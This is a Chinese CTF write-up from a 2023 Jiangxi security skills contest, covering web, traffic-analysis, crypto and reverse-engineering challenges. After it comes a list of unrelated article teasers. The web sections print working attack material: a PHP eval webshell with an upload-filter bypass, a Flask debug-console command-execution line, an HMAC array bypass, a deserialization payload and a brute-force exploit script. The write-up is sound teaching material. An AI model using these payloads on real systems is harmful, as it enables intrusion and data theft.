设计的商城网站建设/什么公司适合做seo优化
文章目录
- 一、2023csy-web1
- 二、2023csy-web2
- 三、2023csy-web3
- 四、2023csy-web4
- 五、2023csy-misc1
- 六、2023csy-misc2
- 七、2023csy-crypto1
- 八、2023csy-re1
一、2023csy-web1
该题提供一个web靶场,《伟大的挑战者》,分值:5分
web页面一直在播放cavas 动画,显示字体内容为:TEXTArray = [“你”, “永远”, “也”, “看不见”, “我”, “站在”, “窗边”, “最难过”, “的样子”, “因为”, “你”, “知道的”, “在”, “所有”, “看不见”, “你的”, “时候”, “才是”, “最”, “难”, “过”, “的”, “我”, “爱”, “你”]; F12 查看源代码,全局搜索未发现与flag相关的逻辑代码:
使用 dirsearch 进行目录扫描发现存在 git 泄露
使用 git_extract.py 工具获取git仓库内容,发现 importtant.txt 存在flag:
二、2023csy-web2
题目提供了一下小蔡博客网站,分值: 8分
发现网站的注册用户名存在xss漏洞,搞个接码平台看是否能获得管理员的cookie, 可能flag在管理员用户界面里,但是半天解码平台平台没反应,此路不通。使用 dirsearch 进行目录扫描发现 admin/login 以及 src/search.php 路径,发现搜索界面存在sql注入,使用sqlmap进行利用,获得用户名账号和密码:
登录管理员端,存在 /admin/edit.php 路径,可进行文件上传,直接上传一句话木马php会被拦截,如下绕过:
<script language="pHp">@eval($_POST['x'])</script>
使用蚂剑进行连接,发现flag:
三、2023csy-web3
题目给出 /source 存在一段 python flask 代码
查看源代码,我们可以看到web服务多个路径。还有一个/get_file路径:
@app.route('/get_file/<path:name>')
def get_file(name):return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True)
因此,如果我们分析代码,我们会发现两件事,第一件事是应用程序日志被写入/tmp/app中的文件,这也是
**/get_file端点中使用的同一目录。
app.config['FILES_FOLDER'] = '/tmp/app'
logging.basicConfig(filename='/tmp/app/app.log', level=logging.DEBUG, format=f'%
(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
这样我们就能够获取应用程序日志,但是我们能用它做什么呢?这就是第二个配置错误出现的地方,调试模式已
打开:
if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=True)
说明该网站Flask开启debug模式,相当于给hacker留了后门。但我们需要 PIN 码才能访问它,该 PIN 码会在应用程序启动时写入日志。因此,我们需要获取app.log文件并获取将写入其中的控制台 PIN。
要获取日志文件,我们可以使用/get_file路径 http://**/get_file/app.log。在那里我们可以找到控制台的 PIN 码。进入控制台后,我们只需要找到该标志并读取其内容即可。
然后进入后台 http://**/console, 输入:
__import__('os').popen('cat /flag').read()
四、2023csy-web4
题目提供如下PHP源代码,分值:10分
审计以上代码可以得出两个知识点:hash_hmac绕过 + 反序列化 + 匿名函数爆破。先看 hash_hmac 绕过,代码可以分离成如下:
$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));$hmac = hash_hmac('sha256', $_GET['password'], $secret);if ($_GET['mac'] === $hmac) {show_source("/flag");}
当我们给 hash_hmac 第二个参数传递的值为数组的时候,会返回 false。这时 secret 的值我们就可以控制为 false。
故 payload 为:salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523
。
再看反序列化,代码可以分离成如下:
class Bird {public $funcs;public $salt;public $flag;function say_flag() {echo "输出flag";}function __destruct() {$self_func = $this->funcs;$self_func();}
}
unserialize($_GET['d']);
代码段中存在魔法函数 __destruct,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。要想执行 say_flag() 函数,那就要 __destruct() 函数中的 funcs 下手,序列化代码如下:
<?php
class Bird{public $funcs=['Bird','say_flag'];public $salt;public $flag;function say_flag(){echo "输出flag";}function __destruct(){$self_func=$this->funcs;$self_func();}
}
$s = new Bird();
echo serialize($d);
在 PHP 中,类名可以作为字符串被调用,如果类名是当前命名空间的一部分,也可以省略命名空间。这意味着 $this->funcs 中的字符串 ‘Bird’ 在这个上下文中等同于 Bird::。因此,‘Bird’, ‘say_flag’ 实际上等同于 Bird::say_flag()。
故payload为:d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}
。再看匿名函数,代码可以分离成如下:
if (isset($_GET['p'])) {$funcs = create_function("", "unserialize(\$_GET['d']);");$_GET['p']();
} else {show_source(__FILE__);
}
其实我们只要执行$funcs就可以了,但是我们不知道这个函数的名称,是一个匿名函数。
create_function() 匿名函数爆破漏洞,它create之后会自动生成一个函数名为 %00lambda_%d。%d这个值是一直递增的,这里的%d会一直递增到最大长度直到结束,这里可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1。
把上述payload组合到一起,编写 exp 如下:
import requestsurl='http://localhost/zxb-csy-web4.php?salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523&d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}&p=%00lambda_1'while True:r = requests.get(url).textif 'Call to undefined function' not in r:print(r)break
最终解得flag如下:
五、2023csy-misc1
hacker盗取了敏感信息,分析hacker流量,找到敏感信息。提供 data.pcapng 流量包。分值:5分
查看流量包主要有 TCP、UDP、HTTP 协议,hacker盗取敏感信息大概率是 HTTP 或者 TCP。UDP 几乎没见过,先排除。优先分析 HTTP 流量,如下查看 HTTP 请求序列:
看到可疑请求路径 /hack.php, 输入过滤命令:http contains "hack.php"
http流跟踪发现 f14444444g.php :
筛选含有 f14444444g.php 的流量包, http contains "f14444444g.php"
依次查看发现可疑字符串,Base64 解码得到flag:
六、2023csy-misc2
提供一个流量包 pack.pcapng,找出 flag, 题目未提供提示。分值:8分
wireshark 打开发现很多 dns 协议数据包,而且存在 Base 字眼:
直接使用kali 里面 tshark 命令筛选分离:
tshark -r pack.pcapng -Y "dns" -T fields -e dns.qry.name | grep base > dns.txt
拿去 vscode 快速去重处理得:
base64 解密得flag:
七、2023csy-crypto1
根据题目得知为移位的异或, 编写python脚本:
enc = open('flag.enc', 'rb').read()
enc = list(enc)
print(enc)key = 'zxb'
flag = [0] * len(enc)
print(len(flag))
flag[-1] = ord('}')
for i in range(len(flag)-2, -1, -1):flag[i] = flag[i+1] ^ enc[i] ^ ord(key[i%3])
print(bytes(flag))
八、2023csy-re1
提供一个 fake.exe 文件,逆向分析获得flag。分值:8分
先查看 PE:
64位程序,使用 ida64 打开,f5 查看伪代码:
这段代码是一个简单的文件读取和处理程序,它从文件 “flag.txt” 读取 0x13(19)字节的数据,然后进行异或操作,并检查结果是否与某个预定义的字符串 Str2
相匹配。要反推出 “flag.txt” 的内容,在这里,*(&Str1 + i) = i ^ *((_BYTE *)Buffer + i);
表示将文件中每个字节与索引进行异或运算,并将结果存储在 Str1
中。要得到 flag.txt 的内容,您可以创建一个相反的异或操作,将 Str1
中的每个字节与相应的索引再次进行异或。在 ida 里面找到 str2 为:S[]1475XRQUHY]QIQZW
编写脚本:
# 已知的str2值
str2 = "S[]1475XRQUHY]QIQZW"# 解码函数,根据异或的性质:如果 a ^ b = c 那么 a ^ c = b 以及 b ^ c = a
def decode(encoded_str):# 将str2转化为byte array方便进行异或操作encoded_bytes = bytearray(encoded_str, 'utf-8')# 初始化str1str1 = bytearray(len(encoded_bytes))# 按照C程序中的流程反向执行异或操作for i in range(len(encoded_bytes)):# 因为之前是i和字符异或,所以逆运算也是i和字符异或str1[i] = i ^ encoded_bytes[i]# 转换回字符串形式return str1.decode('utf-8')# 使用定义好的decode函数解码str2
decoded_str1 = decode(str2)
print(f"Decoded str1: {decoded_str1}")
得到 flag 为:
但是提交发现一直错误,难道这是陷阱? 查看函数列表发现 TLS 回调函数
代码逆向分析领域中,TLS(Thread Local Storage,线程局部存储)回调函数(Callback Function)常用反调试。TLS回调函数的调用运行要先于EP代码的执行,该特征使它可以作为一种反调试技术的使用。
查看 TlsCallback_0 函数:
从代码能看出一直在跟 loc_140003000 函数做处理,怀疑是 SMC 自解密技术。
1、SMC,即Self Modifying Code,动态代码加密技术,指通过修改代码或数据,阻止别人直接静态分析,然后在动态运行程序时对代码进行解密,达到程序正常运行的效果。
2、SMC的实现方式有很多种,可以通过修改PE文件的Section Header、使用API Hook实现代码加密和解密、使用VMProtect等第三方加密工具等。
3、SMC一般有俩种破解方法,第一种是找到对代码或数据加密的函数后通过idapython写解密脚本。第二种是动态调试到SMC解密结束的地方dump出来。
在 return result 打断点,进行动态调试:
卡在 52行,smc 自解密已经完成,直接进入 loc_140003000 函数,U、C、P, F5 一把梭查看到真实代码:
编写 python 脚本如下:
def reverse_function(a1, a2):return ~a2 & ~a1v25 = [-83, -91, -93, -49, -52, -55, -53, -88, -82, -81, -85, -72, -89, -93, -81, -88, -89, -95, -51]
v12 = [0] * 32
arr = [0] * 19for i in range(19):for j in range(200):v16 = reverse_function(j, i)v17 = reverse_function(i, i)v1 = jv18 = v1v2 = reverse_function(v1, v1)v3 = reverse_function(v2, v17)v19 = reverse_function(v3, v16) - 1v20 = reverse_function(j, i)v21 = reverse_function(i, i)v4 = jv22 = v4v5 = reverse_function(v4, v4)v6 = reverse_function(v5, v21)v7 = reverse_function(v6, v20)v12[i] = reverse_function((v7 - 1), v19)if v12[i] == v25[i]:arr[i] = j# Convert arr to string and print
result_str = ''.join(chr(x) for x in arr)
print(result_str)
最终flag{SZ_2023_ZX_CUP_WIN!} 为正确答案。
相关文章:

2023年江西省“振兴杯”网络信息行业(信息安全测试员)职业技能竞赛 Write UP
文章目录 一、2023csy-web1二、2023csy-web2三、2023csy-web3四、2023csy-web4五、2023csy-misc1六、2023csy-misc2七、2023csy-crypto1八、2023csy-re1 一、2023csy-web1 该题提供一个web靶场,《伟大的挑战者》,分值:5分 web页面一直在播放c…...

【5G PHY】5G NR 如何计算资源块的数量?
博主未授权任何人或组织机构转载博主任何原创文章,感谢各位对原创的支持! 博主链接 本人就职于国际知名终端厂商,负责modem芯片研发。 在5G早期负责终端数据业务层、核心网相关的开发工作,目前牵头6G算力网络技术标准研究。 博客…...

解决oracle.sql.TIMESTAMP序列化转换失败问题 及 J2EE13Compliant原理
目录 报错现象报错内容处理方法Oracle驱动源码总结 报错现象 oracle表中存在TIMESTAMP类型的列时,jdbc查出来做序列化时报错 报错内容 org.springframework.web.util.NestedServletException: Request processing failed; nested exception is org.springframewo…...

QQ2023备份
需要修改的路径(共3处) 这三处路径中,只有一处是需要修改的 QQPC端-主菜单-设置-基本设置-文件管理 点击上面的“”自定义“”,然后修改路径即可 修改路径后提示 然后等一会才会关干净QQ的相关进程,关闭后才会有自动…...

HNU计算机结构体系-实验2:CPU动态指令调度Tomasulo
文章目录 实验2 CPU动态指令调度Tomasulo一、实验目的二、实验说明三、实验内容问题1:问题2:问题3:问题4:问题5: 四、思考题问题1:问题2: 五、实验总结 实验2 CPU动态指令调度Tomasulo 一、实验…...

智慧城市是什么?为什么要建智慧城市?
智慧城市是一个通过现代科技手段推动城市管理和服务创新的概念。 具体来说,它利用信息技术和创新概念,将城市的各个系统和服务集成起来,以提升城市运行效率、优化城市管理和服务,改善市民的生活质量。 为什么要建智慧城市呢&…...

数据结构线性表-栈和队列的实现
1. 栈(Stack) 1.1 概念 栈:一种特殊的线性表,其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端称为栈 顶,另一端称为栈底。栈中的数据元素遵守后进先出LIFO(Last In First Out)的原则。 …...

IntelliJ IDEA 的 HTTP 客户端的高级用法
本心、输入输出、结果 文章目录 IntelliJ IDEA 的 HTTP 客户端的高级用法前言HTTP 请求对 gRPC 请求的支持对 GraphQL 和 WebSocket 请求的支持环境文件OpenAPI 补全用于持续集成的 HTTP 客户端 CLI花有重开日,人无再少年实践是检验真理的唯一标准IntelliJ IDEA 的 HTTP 客户端…...

代码随想录算法训练营第四十六天 _ 动态规划_198.打家劫舍、213.打家劫舍II、337.打家劫舍 III。
学习目标: 动态规划五部曲: ① 确定dp[i]的含义 ② 求递推公式 ③ dp数组如何初始化 ④ 确定遍历顺序 ⑤ 打印递归数组 ---- 调试 引用自代码随想录! 60天训练营打卡计划! 学习内容: 198.打家劫舍 动态规划五步曲&a…...

ffmpeg编译问题
利用ffmpeg实现一个播放器,ffmpeg提供动态库,但是编译链接的时候遇到下面的问题: ../ffmpegWidgetPlayer/videoplayerwidget.cpp:23: error: undefined reference to sws_freeContext(SwsContext*) ../ffmpegWidgetPlayer/videoplayerwidget.…...

【flink番外篇】1、flink的23种常用算子介绍及详细示例(3)-window、distinct、join等
Flink 系列文章 一、Flink 专栏 Flink 专栏系统介绍某一知识点,并辅以具体的示例进行说明。 1、Flink 部署系列 本部分介绍Flink的部署、配置相关基础内容。 2、Flink基础系列 本部分介绍Flink 的基础部分,比如术语、架构、编程模型、编程指南、基本的…...

centos7做gitlab数据灾备项目地址指向问题
如果你在 CentOS 7 上使用 GitLab 时,它回复的数据指向了另一个服务器的地址,可能是因为配置文件中的一些设置不正确。 要解决这个问题,可以尝试以下几个步骤: 检查 GitLab 配置文件:打开 GitLab 的配置文件…...

leetcode:93. 复原 IP 地址
复原 IP 地址 中等 1.4K 相关企业 有效 IP 地址 正好由四个整数(每个整数位于 0 到 255 之间组成,且不能含有前导 0),整数之间用 ‘.’ 分隔。 例如:“0.1.2.201” 和 “192.168.1.1” 是 有效 IP 地址,但…...

玄子Share-CSS3 弹性布局知识手册
玄子Share-CSS3 弹性布局知识手册 Flexbox Layout(弹性盒布局)是一种在 CSS 中用于设计复杂布局结构的模型。它提供了更加高效、简便的方式来对容器内的子元素进行排列、对齐和分布 主轴和交叉轴 使用弹性布局,最重要的一个概念就是主轴与…...

Nat easy IP ACL
0表示匹配,1表示任意(主机位0.0.0.255(255主机位)) rule deny source 192.168.2.1 0 设置拒绝192.168.2.1的主机通过 记住将其应用到接口上 [AR2]acl 2000 //创建基本ACL [AR2-acl-basic-2000]rule deny source 192…...

Numpy数组的数据类型汇总 (第4讲)
Numpy数组的数据类型 (第4讲) 🍹博主 侯小啾 感谢您的支持与信赖。☀️ 🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ�…...

通讯app:
为了开发一个即时通讯的app,包含发送文字、语音、视频以及视频通话的功能,我们需要考虑以下的技术栈和实现步骤: 技术栈建议: 前端:React Native 或 Flutter 用于跨平台移动应用开发。后端:ThinkPHP Wor…...

【Backbone】TransNeXt:最新ViT模型(原理+常用神经网络汇总)
文章目录 一、近几年神经网络 Backbone 回顾1.Densenet 与 Resnet2.CBP3.SENet4.GCNet5.DANet6.PANet 与 FPN7.ASPP8.SPP-net9.PSP-net10.ECA-Net 二、TransNeXt(2023)1.提出问题2.Aggregated Pixel-focused Attention2.1 Pixel-focused Attention&#…...

使用Java将图片添加到Excel的几种方式
1、超链接 使用POI,依赖如下 <dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>4.1.2</version></dependency>Java代码如下,运行该程序它会在桌面创建ImageLinks.xlsx文件。 …...

用什么台灯对眼睛最好?考公护眼台灯推荐
之前我一直觉得,孩子近视,是因为玩手机太多,看电子产品的时间过长,但后来控制孩子看电子产品时间的触底反弹与越来越深的度数告诉我,孩子近视的真正原因,我根本没有找到,后来看到一篇报告&#…...

【嵌入式开发 Linux 常用命令系列 4.2 -- .repo 各个目录介绍】
文章目录 概述.repo 目录结构manifests/default.xmlManifest 文件的作用default.xml 文件内容示例linkfile 介绍 .repo/projects 子目录配置和管理configHEADhooksinfo/excludeobjectsrr-cache 工作区中的对应目录 概述 repo 是一个由 Google 开发的版本控制工具,它…...

【C++学习手札】基于红黑树封装模拟实现map和set
🎬慕斯主页:修仙—别有洞天 💜本文前置知识: 红黑树 ♈️今日夜电波:漂流—菅原纱由理 2:55━━━━━━️💟──────── 4:29 …...

linux查看当前路径的所有文件大小;linux查看当前文件夹属于什么文件系统
1:指令查看当前路径所有文件内存空间大小;这样可以方便查询每个文件大小情况,根据需要进行删除 df -h // 根目录 du -ah --max-depth1 // 一级目录 虚拟机 du -ah -d 1 // 一级目录 设备使用 du -ah --max-depth2 // 二…...

PPT插件-好用的插件-超级文本-大珩助手
常用字体 内置了大量的常用字体,方便快捷的一键更换字体,避免系统字体过多卡顿 文字整理 包含删空白行、清理编号、清理格式,便于处理从网络上复制的资料 文本打散与合并 包含文本打散、文本合并,文本打散可实现将一个文本打散…...

Kafka中的Topic
在Kafka中,Topic是消息的逻辑容器,用于组织和分类消息。本文将深入探讨Kafka Topic的各个方面,包括创建、配置、生产者和消费者,以及一些实际应用中的示例代码。 1. 介绍 在Kafka中,Topic是消息的逻辑通道࿰…...

LAMP部署
目录 一、安装apache 二、配置mysql 三、安装php 四、搭建论坛 4、安装另一个网站 一、安装apache 1.关闭防火墙,将安装Apache所需软件包传到/opt目录下 systemctl stop firewalld systemctl disable firewalld setenforce 0 httpd-2.4.29.tar.gz apr-1.6.2.t…...

DouyinAPI接口开发系列丨商品详情数据丨视频详情数据
电商API就是各大电商平台提供给开发者访问平台数据的接口。目前,主流电商平台如淘宝、天猫、京东、苏宁等都有自己的API。 二、电商API的应用价值 1.直接对接原始数据源,数据提取更加准确和完整。 2.查询速度更快,可以快速响应用户请求实现…...

AWS Remote Control ( Wi-Fi ) on i.MX RT1060 EVK - 3 “编译 NXP i.MX RT1060”( 完 )
此章节叙述如何修改、建构 i.MX RT1060 的 Sample Code“aws_remote_control_wifi_nxp” 1. 点击“Import SDK example(s)” 2. 选择“MIMXRT1062xxxxA”>“evkmimxrt1060”,并确认 SDK 版本后,点击“Next>” 3. 选择“aws_examples”>“aw…...

5G - NR物理层解决方案支持6G非地面网络中的高移动性
文章目录 非地面网络场景链路仿真参数实验仿真结果 非地面网络场景 链路仿真参数 实验仿真结果 Figure 5 && Figure 6:不同信噪比下的BER和吞吐量 变量 SISO 2x2MIMO 2x4MIMO 2x8MIMOReyleigh衰落、Rician衰落、多径TDL-A(NLOS) 、TDL-E(LOS)(a)QPSK (b)16…...

python epub文件解析
python epub文件解析 代码BeautifulSoup 介绍解释 代码 import ebooklib from bs4 import BeautifulSoup from ebooklib import epubbook epub.read_epub("逻辑思维训练1200题.epub")# 解析 for item in book.get_items():# 提取书中的文本内容if item.get_type() …...